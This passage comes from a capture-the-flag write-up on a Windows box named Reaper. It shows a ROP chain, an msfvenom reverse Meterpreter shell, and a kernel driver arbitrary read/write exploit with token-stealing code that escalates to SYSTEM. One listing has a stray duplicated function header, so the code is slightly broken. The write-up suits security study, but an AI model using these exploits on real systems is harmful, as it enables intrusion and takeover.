on the stack (which pointed to the nops that followed). I no longer cared about the value in rax
so the residual instruction (and al, 0x08
) was not a concern:
# Shellcode execution
# ---------------------------------------------------------------------------------
buffer += pack("<Q", base_address + 0x175b) # add rsp, 0x28 ; ret ;
buffer += b"B" * 0x28 # padding to control the stack
buffer += pack("<Q", base_address + 0x1becd) # push rsp ; and al, 0x08 ; ret ;
buffer += b"\x90" * 1000 # nops
If the shellcode gods were watching over me I should have code execution on the stack. I tested the entire rop chain and eventually observed nop execution:
0:003> p
ReaperKeyCheck+0x175f:
00007ff6`e5b1175f c3 ret
0:003> p
ReaperKeyCheck+0x1becd:
00007ff6`e5b2becd 54 push rsp
0:003> p
ReaperKeyCheck+0x1bece:
00007ff6`e5b2bece 2408 and al,8
0:003> p
ReaperKeyCheck+0x1bed0:
00007ff6`e5b2bed0 c3 ret
0:003> p
00000068`17cfefa8 90 nop
As the Scottish might say: “Fan’ Dabi’ Dozi”!
I tested a reverse shell locally to make sure my exploit worked:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.245.148 LPORT=4444 -f python -v shellcode
I used msfvenom to generate the shellcode and msfconsole as the listener:
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set lhost 172.16.245.148
lhost => 172.16.245.148
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.245.148:4444
[*] Sending stage (200774 bytes) to 172.16.245.149
[*] Meterpreter session 2 opened (172.16.245.148:4444 -> 172.16.245.149:54277) at 2024-06-30 15:11:01 +0100
[!WARNING]
I had to disabled Windows Defender in order to get my meterpreter shell working. At this point I hadn’t tested it against the Reaper target, which may or may not be running an anti-malware product.
I ran the final exploit against the target host:
python3 ./final.py 10.10.85.107
REAPER PoC
----------
[*] Connecting to: 10.10.85.107
[*] Leaked address: 0x7ff65e5a0660
[*] Module base address: 0x7ff65e580000
[*] Sending the exploit...
I got a nice reverse meterpreter shell:
msf6 > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 > set lport 4444
lport => 4444
msf6 > set lhost 10.8.2.195
lhost => 10.8.2.195
msf6 > use multi/handler
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.8.2.195:4444
[*] Sending stage (200774 bytes) to 10.10.85.107
[*] Meterpreter session 1 opened (10.8.2.195:4444 -> 10.10.85.107:49747) at 2024-06-30 15:45:28 +0100
I found the flag in the root of the C drive:
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is AAB6-57D4
Directory of C:\
07/27/2023 09:37 AM <DIR> driver
08/15/2023 12:14 AM <DIR> ftp
07/25/2023 05:33 AM <DIR> inetpub
08/15/2023 12:09 AM <DIR> keysvc
12/07/2019 02:14 AM <DIR> PerfLogs
07/27/2023 10:43 AM <DIR> Program Files
07/25/2023 05:33 AM <DIR> Program Files (x86)
07/25/2023 05:50 AM 36 user.txt
07/25/2023 05:29 AM <DIR> Users
06/30/2024 07:45 AM <DIR> Windows
1 File(s) 36 bytes
9 Dir(s) 1,626,509,312 bytes free
I submit the flag to discord:
There was a driver in the C:\driver\
folder called reaper.sys
, this is a custom driver based upon the name of the file. This might be running on the system (and will have kernel level privileges):
C:\driver>dir
dir
Volume in drive C has no label.
Volume Serial Number is AAB6-57D4
Directory of C:\driver
07/27/2023 09:37 AM <DIR> .
07/27/2023 09:37 AM <DIR> ..
07/27/2023 09:12 AM 8,432 reaper.sys
1 File(s) 8,432 bytes
2 Dir(s) 1,919,651,840 bytes free
I checked to see if the driver was running, and it was:
C:\driver>driverquery /v | findstr reaper
reaper reaper reaper Kernel Auto Running OK TRUE FALSE 0 4,096 0 7/27/2023 9:12:21 AM \??\C:\driver\reaper.sys 4,096
I checked the version of Windows using the systeminfo command, if the driver was vulnerable I may have needed to understand what Kernel level mitigations were deployed:
systeminfo
Host Name: REAPER
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
To analyse a driver I first needed to find the following:
I downloaded the driver binary file and loaded it in to IDA for analysis, I located the DriverEntry
function and looked for a function that called IoCreateDevice
.
NOTE
The
IoCreateDevice
routine creates a device object for use by a driver.
I found a function call, which I renamed to Setup_Driver
. Within this function I found a fcall to IOCreateDevice
at the offset of 0x1281
:
.text:0000000000001229 lea rax, sub_1000
.text:0000000000001230 mov [rsp+1A0h+var_160], 1E001Ch
.text:0000000000001238 mov [rbx+70h], rax
.text:000000000000123C lea r8, [rsp+1A0h+var_160]
.text:0000000000001241 mov [rbx+80h], rax
.text:0000000000001248 mov r9d, 22h ; '"'
.text:000000000000124E lea rax, Dispatch_Routine
.text:0000000000001255 xor edx, edx
.text:0000000000001257 mov [rbx+0E0h], rax
.text:000000000000125E mov rcx, rbx
.text:0000000000001261 lea rax, aDeviceReaper ; "\\Device\\Reaper"
.text:0000000000001268 mov [rsp+1A0h+var_158], rax
.text:000000000000126D lea rax, [rsp+1A0h+var_150]
.text:0000000000001272 mov [rsp+1A0h+var_170], rax
.text:0000000000001277 mov [rsp+1A0h+var_178], 0
.text:000000000000127C and [rsp+1A0h+var_180], 0
.text:0000000000001281 call cs:IoCreateDevice
I renamed the function whose address was loaded in to rax
using the lea
instruction at offset 0x124e
. I renamed this function to Dispatch_Routine
. I also noted the driver symlink: \\Device\\Reaper
.
Without analysing this too much, instinct told me that I had located the dispatch function. This was based on the following information. When writing driver code generally a dispatch function would be configured as such:
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = Dispatch_Routine;
This driver object would be passed to IoCreateDevice
as the seventh parameter:
NTSTATUS IoCreateDevice(
[in] PDRIVER_OBJECT DriverObject,
[in] ULONG DeviceExtensionSize,
[in, optional] PUNICODE_STRING DeviceName,
[in] DEVICE_TYPE DeviceType,
[in] ULONG DeviceCharacteristics,
[in] BOOLEAN Exclusive,
[out] PDEVICE_OBJECT *DeviceObject
);
This was confirmed when I analysed the Dispatch_Routine
function, which contained the following instructions:
.text:0000000000001039 mov ebx, 0C0000010h
.text:000000000000103E mov eax, [rcx+18h]
.text:0000000000001041 cmp eax, 80002003h
.text:0000000000001046 jz loc_10E0
.text:000000000000104C cmp eax, 80002007h
.text:0000000000001051 jz short loc_10C9
.text:0000000000001053 cmp eax, 8000200Bh
.text:0000000000001058 jnz loc_1165
These conditional branches look like three different IOCTL numbers are being compared:
0x80002003
0x80002007
0x8000200b
NOTE
I/O control codes (IOCTLs) are used for communication between user-mode applications and drivers, or for communication internally among drivers in a stack.
Using IDA I mapped out the code flows of each IOCTL:
The flow for each IOCTL makes the following Kernel function calls:
0x80002003 -> ExAllocatePoolWithTag
0x80002007 -> ExFreePoolWithTag
0x8000200b -> PsLookupThreadByThreadId -> KeSetPriorityThread -> ObfDereferenceObject
The ExAllocatePoolWithTag
routine allocates pool memory of the specified type and returns a pointer to the allocated block. This indicated that I might be able to allocate some memory in Kernel space.
The syntax for this call is:
PVOID ExAllocatePoolWithTag(
[in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
[in] SIZE_T NumberOfBytes,
[in] ULONG Tag
);
Upon analysing the code it looked like the call was:
PVOID pAddress = ExAllocatePoolWithTag(NonPagedPool, 0x20, 0x70616552);
NOTE
System memory allocated with the NonPagedPool pool type is executable.
The ExFreePoolWithTag
routine deallocates a block of pool memory allocated with the specified tag. This indicated I could free the memory that I had allocated previously.
The syntax for this call is:
void ExFreePoolWithTag(
[in] PVOID P,
[in] ULONG Tag
);
Upon analysing the code it looked like the call was:
ExFreePoolWithTag(pAddress, 0x70616552);
So far I had found two IOCTLs; one that allocated executable memory and one that freed that memory.
The PsLookupThreadByThreadId
routine accepts the thread ID of a thread and returns a referenced pointer to the ETHREAD structure of the thread.
The syntax for this call is:
NTSTATUS PsLookupThreadByThreadId(
[in] HANDLE ThreadId,
[out] PETHREAD *Thread
);
The KeSetPriorityThread
routine sets the run-time priority of a driver-created thread.
The syntax for this call is:
KPRIORITY KeSetPriorityThread(
[in, out] PKTHREAD Thread,
[in] KPRIORITY Priority
);
The ObfDereferenceObject
routine decrements the reference count to the given object.
The syntax for this call is:
void ObDereferenceObject(
[in] a
);
Using IDA Free I decompiled the Dispatch_Routine
function. Using a mixture of Kernel debugging and static analysis I attempted to work out what each of the variables and structures were. This is a long process and takes a lot of time:
__int64 __fastcall Dispatch_Routine(__int64 pDeviceObject, _IRP *pIrp)
{
__int64 Parameters; // rcx
signed int status; // ebx
int IOCTL; // eax
_QWORD *pDestinationAddress; // rcx
_QWORD *pSourceAddress; // rax
__int64 userData; // rsi
struct_globalInput *PoolWithTag; // rax
__int64 PETHREAD; // [rsp+38h] [rbp+10h] BYREF
Parameters = pIrp->NotSure2;
status = 0xC0000010;
IOCTL = *(_DWORD *)(Parameters + 24);
if ( IOCTL != 0x80002003 )
{
if ( IOCTL != 0x80002007 )
{
if ( IOCTL == 0x8000200B )
{
status = PsLookupThreadByThreadId(globalInput->ThreadId, &PETHREAD);
if ( status >= 0 )
{
KeSetPriorityThread(PETHREAD, globalInput->ThreadPriority);
ObfDereferenceObject(PETHREAD);
pDestinationAddress = globalInput->pDestinationAddress;
if ( pDestinationAddress )
{
pSourceAddress = globalInput->pSourceAddress;
if ( pSourceAddress )
*pDestinationAddress = *pSourceAddress;
}
}
}
goto END_LABEL;
}
ExFreePoolWithTag(globalInput, 'paeR');
PRE_END_LABEL:
status = 0;
goto END_LABEL;
}
userData = *(_QWORD *)(Parameters + 32);
status = userData != 0 ? 0xC0000010 : 0xC000000D;
if ( *(_DWORD *)(Parameters + 16) < 0x20u )
status = -1073741789;
if ( *(_DWORD *)userData == 0x6A55CC9E )
{
PoolWithTag = (struct_globalInput *)ExAllocatePoolWithTag(NonPagedPool, 0x20LL, 'paeR');
globalInput = PoolWithTag;
if ( PoolWithTag )
{
*(_DWORD *)PoolWithTag->padding_4_bytes = *(_DWORD *)userData;
globalInput->ThreadPriority = *(_DWORD *)(userData + 8);
globalInput->ThreadId = *(_DWORD *)(userData + 4);
globalInput->pSourceAddress = *(_QWORD **)(userData + 16);
globalInput->pDestinationAddress = *(_QWORD **)(userData + 24);
goto PRE_END_LABEL;
}
}
END_LABEL:
pIrp->NotSure = 0LL;
pIrp->Status = status;
IofCompleteRequest(pIrp, 0LL);
return (unsigned int)status;
}
The parts that stood out were the lines from 27-32
, this was inside the IOCTL 0x8000200b
; it was now clear that this was a copy operation:
if ( pDestinationAddress )
{
pSourceAddress = globalInput->pSourceAddress;
if ( pSourceAddress )
*pDestinationAddress = *pSourceAddress;
}
This gave me an arbitrary write primitive. The lines from 52-56
indicated we could control this arbitrary write primitive, using the IOCTL 0x80002003
:
*(_DWORD *)PoolWithTag->padding_4_bytes = *(_DWORD *)userData;
globalInput->ThreadPriority = *(_DWORD *)(userData + 8);
globalInput->ThreadId = *(_DWORD *)(userData + 4);
globalInput->pSourceAddress = *(_QWORD **)(userData + 16);
globalInput->pDestinationAddress = *(_QWORD **)(userData + 24);
There is also a ‘magic’ value check in the code on line 46
:
if ( *(_DWORD *)userData == 0x6A55CC9E )
My plan was to:
0x80002003
, whilst assigning the structure.0x80002007b
. I would copy the Security Token from a privileged process to my current process.0x80002007
.I decided to use network debugging to debug the kernel. To do this I need to issue the following commands on the newly installed debugee:
bcdedit /copy {current} /d "Network Debugging"
bcdedit /debug {GUID returned from previous command} on
bcdedit /dbgsettings net hostip:1.1.1.1 port:50000
A key was generated for the debugging sessions. I could now connect to the debugee using Windbg Preview.
I registered, and started the driver on my debugee:
bcdedit /set testsigning on
The operation completed successfully.
sc create Reaper binPath= C:\Users\John\Desktop\reaper.sys type= kernel
[SC] CreateService SUCCESS
sc start Reaper
SERVICE_NAME: Reaper
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
I checked in Windbg that the driver was now loaded in to kernel space:
lm l
start end module name
...
fffff800`74290000 fffff800`74297000 reaper (deferred)
...
And here is the dispatch routine I was reverse engineering:
!drvobj \Driver\Reaper 2
Driver object (ffffe384deeb8850) is for:
\Driver\Reaper
DriverEntry: fffff80074295000 reaper
DriverStartIo: 00000000
DriverUnload: fffff80074291190 reaper
AddDevice: 00000000
Dispatch routines:
...
[0e] IRP_MJ_DEVICE_CONTROL fffff80074291020 reaper+0x1020
I started writing an exploit. I’ve written some basic kernel exploits based on HEVD
but nothing too complicated. This is how I started out:
int main()
{
HANDLE hDevice = CreateFileA(REAPER_SYM_LINK, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
// if CreateFileA fails the handle will be -0x1
if (hDevice == (HANDLE)-0x1)
{
// could not get a handle to the driver
printf("[+] Driver handle: 0x%p\n", hDevice);
printf("[!] Unable to get a handle to the driver.\n");
return 1;
}
else
{
// create the input data for the write
ReaperData userData;
userData.Magic = 0x6a55cc9e;
userData.ThreadId = GetCurrentThreadId();
userData.Priority = 0;
userData.SrcAddress = NULL;
userData.DstAddress = NULL;
And then it suddenly dawned on me… I wanted to copy a SYSTEM
token to the current process thread. I have done this using 64bit shellcode before. In my head I was like “I’ll run the token stealing shellcode then I’m done”… wait… I don’t have code execution in the kernel, I have an arbitrary read/write!
I thought that using my arbitrary read I might be able to convert the token stealing shellcode in to user mode code, using kernel reads, to enumerate a system process, locate the security token, then locate the current process in kernel mode and copy the token over using the arbitrary write. Sounds simple, just one catch. I had never done this before!
Token stealing is a technique used in Windows privilege escalation. Each running process has an associated _EPROCESS
object in the kernel, and the _EPROCESS
onject contains a reference to the _EX_FAST_REF
structure; this represents the process’ security token.
Token stealing involves exploiting kernel code to copy the SYSTEM
token into the current process token, thus elevating privileges.
I formulated a plan:
SYSTEM
_EPROCESS
using a common technique from user mode.SYSTEM
token using the read/write primitive in the vulnerable driver.SYSTEM
token over the current process’ token.This code uses the vulnerability I found in the reaper driver to read and write to any kernel mode address. This was used in other functions:
void ArbitraryWrite(HANDLE hDevice, QWORD src, QWORD dst)
{
ReaperData userData;
userData.Magic = 0x6a55cc9e;
userData.ThreadId = GetCurrentThreadId();
userData.Priority = 0;
userData.SrcAddress = src;
userData.DstAddress = dst;
// Allocate pool memory
unsigned char outputBuf[1024];
memset(outputBuf, 0, sizeof(outputBuf));
ULONG bytesRtn;
BOOL result = DeviceIoControl(hDevice,
IOCTL_ALLOCATE,
(LPVOID)&userData,
(DWORD)sizeof(struct ReaperData),
outputBuf,
1024,
&bytesRtn,
NULL);
// Copy operation
memset(outputBuf, 0, sizeof(outputBuf));
result = DeviceIoControl(hDevice,
IOCTL_COPY,
(LPVOID)NULL,
(DWORD)0,
outputBuf,
1024,
&bytesRtn,
NULL);
// Free pool memory
memset(outputBuf, 0, sizeof(outputBuf));
result = DeviceIoControl(hDevice,
IOCTL_FREE,
(LPVOID)NULL,
(DWORD)0,
outputBuf,
1024,
&bytesRtn,
NULL);
}
void ArbitraryRead(HANDLE hDevice, QWORD src, QWORD dst)
{
return ArbitraryWrite(hDevice, src, dst);
}
Locating the kernel base address was fairly straightforward. I used a common technique that I have used before:
QWORD GetKernelBase()
{
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (QWORD)drivers[0];
}
I used the EnumDeviceDrivers
Win32 API. This function populates an array with the kernel address of each driver, luckily the first entry is the base address of the kernel. Easy!
After doing a bit of research I wrote the following code:
QWORD GetSystemTokenAddress(QWORD kernelBase, HANDLE hDevice)
{
// Load kernel in to user land and get the PsInitialSystemProcess address
HMODULE hKernel = LoadLibraryA(NTOSKRNL_EXE);
HANDLE psInitialProcess = GetProcAddress(hKernel, "PsInitialSystemProcess");
QWORD psOffset = (QWORD)psInitialProcess - (QWORD)hKernel;
QWORD psAddress = (QWORD)kernelBase + (QWORD)psOffset;
QWORD dereferencedSystemEprocessAddress;
ArbitraryRead(hDevice, psAddress, (QWORD)&dereferencedSystemEprocessAddress);
printf("[+] SYSTEM _EPROCESS address: 0x%p\n", dereferencedSystemEprocessAddress);
QWORD systemTokenAddress = dereferencedSystemEprocessAddress + TOKEN_OFFSET;
FreeLibrary(hKernel);
return systemTokenAddress;QWORD GetSystemTokenAddress(QWORD kernelBase, HANDLE hDevice)
}
}
I loaded the kernel image on line 4
and located the address of PsInitialSystemProcess
. I was able to take this address and work out the offset based upon the address that the module was loaded at (lines 7-8
).
I then used the arbitrary read primitive to get the actual address of the SYSTEM
_EPROCESS
by dereferencing the PsInitialSystemProcess
address. I learned this new technique during my research (lines 10-12
).
I used a token offset for the target operating system to locate the address of the SYSTEM
token on line 14
.
TIP
The
_EPROCESS
structure can be examined using thedt nt!_EPROCESS <address>
command in WinDbg to find the offset of various fields, including the security token.
The _EPROCESS
structure contains a field called ActiveProcessLinks
; this is a doubly linked list to all the processes running (their _EPROCESS
objects that is):
QWORD GetCurrentTokenAddress(QWORD SystemProcessAddress, HANDLE hDevice)
{
QWORD processAddress = SystemProcessAddress;
QWORD processLinkAddress;
QWORD processId;
DWORD currentProcessId = GetCurrentProcessId();
while(TRUE)
{
ArbitraryRead(hDevice, processAddress + ACTIVE_PROCESS_LINKS_OFFSET, (QWORD)&processLinkAddress);
ArbitraryRead(hDevice, processLinkAddress - ACTIVE_PROCESS_LINKS_OFFSET + UNIQUE_PROCESS_ID_OFFSET, (QWORD)&processId);
processAddress = processLinkAddress - ACTIVE_PROCESS_LINKS_OFFSET;
if ((DWORD)processId == currentProcessId)
{
break;
}
}
printf("[+] Current _EPROCESS address: 0x%p\n", processAddress);
return processAddress + TOKEN_OFFSET;
}
This code is self explanatory. It enumerates processes until it finds one with a UniqueProcessId
that matches the one returned from GetCurrentProcessId
. One the process is found the address of the _EX_FAST_REF
(Token offset) is returned.
The main code pieces all of this together in to a privilege escalation exploit:
// get the kernel base address
QWORD kernelBase = GetKernelBase();
// get the system token address
QWORD systemTokenAddress = GetSystemTokenAddress(kernelBase, hDevice);
// get the current process address
QWORD currentTokenAddress = GetCurrentTokenAddress(systemTokenAddress - TOKEN_OFFSET, hDevice);
QWORD systemTokenDereferenced;
ArbitraryWrite(hDevice, (QWORD)systemTokenAddress, (QWORD)&systemTokenDereferenced);
// do the system token write
ArbitraryWrite(hDevice, (QWORD)&systemTokenDereferenced, (QWORD)currentTokenAddress);
// spawn a new command prompt
system("cmd.exe");
The complete privilege escalation code can be found at the following link:
I tested the exploit code on my local lab:
Reaper Priv Esc Driver Exploit
------------------------------
[+] Driver handle: 0x00000000000000A0
[+] Kernel base address: 0xFFFFF8041F000000
[+] SYSTEM _EPROCESS address: 0xFFFFD10C45860040
[+] SYSTEM token address: 0xFFFFD10C458604F8
[+] Current _EPROCESS address: 0xFFFFD10C4E846080
[+] Current token address: 0xFFFFD10C4E846538
[+] System token dereferenced: 0xFFFF9F87D989C72E
[+] Copying SYSTEM token...
[+] Spawning new process...
Microsoft Windows [Version 10.0.19045.4529]
(c) Microsoft Corporation. All rights reserved.
C:\Users\John\source\repos\ReaperPrivEsc\ReaperPrivEsc>whoami
nt authority\system
Rock on! I had successfully exploited the reaper driver. It was now time to check the target operating system version and make tweaks to the structure offsets:
Host Name: REAPER
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
This version is Windows 10 22H2. I used the Vergilius Project to examine the _EPROCESS
structure.
Luckily the offsets were the same on the target as they were for my lab:
#define UNIQUE_PROCESS_ID_OFFSET 0x440
#define ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define TOKEN_OFFSET 0x4b8
I uploaded the privilege escalation binary, using a meterpreter shell and ran it in a command prompt:
C:\Users\keysvc>ReaperPrivEsc.exe
ReaperPrivEsc.exe
Microsoft Windows [Version 10.0.19045.3208]
(c) Microsoft Corporation. All rights reserved.
C:\Users\keysvc>whoami
whoami
nt authority\system
C:\Users\keysvc>hostname
hostname
reaper
I grabbed the root.txt file and submit it to discord:
Feel free to leave comments or questions for this blog post. Please be respectful, I will moderate comments and reserve the right to remove them.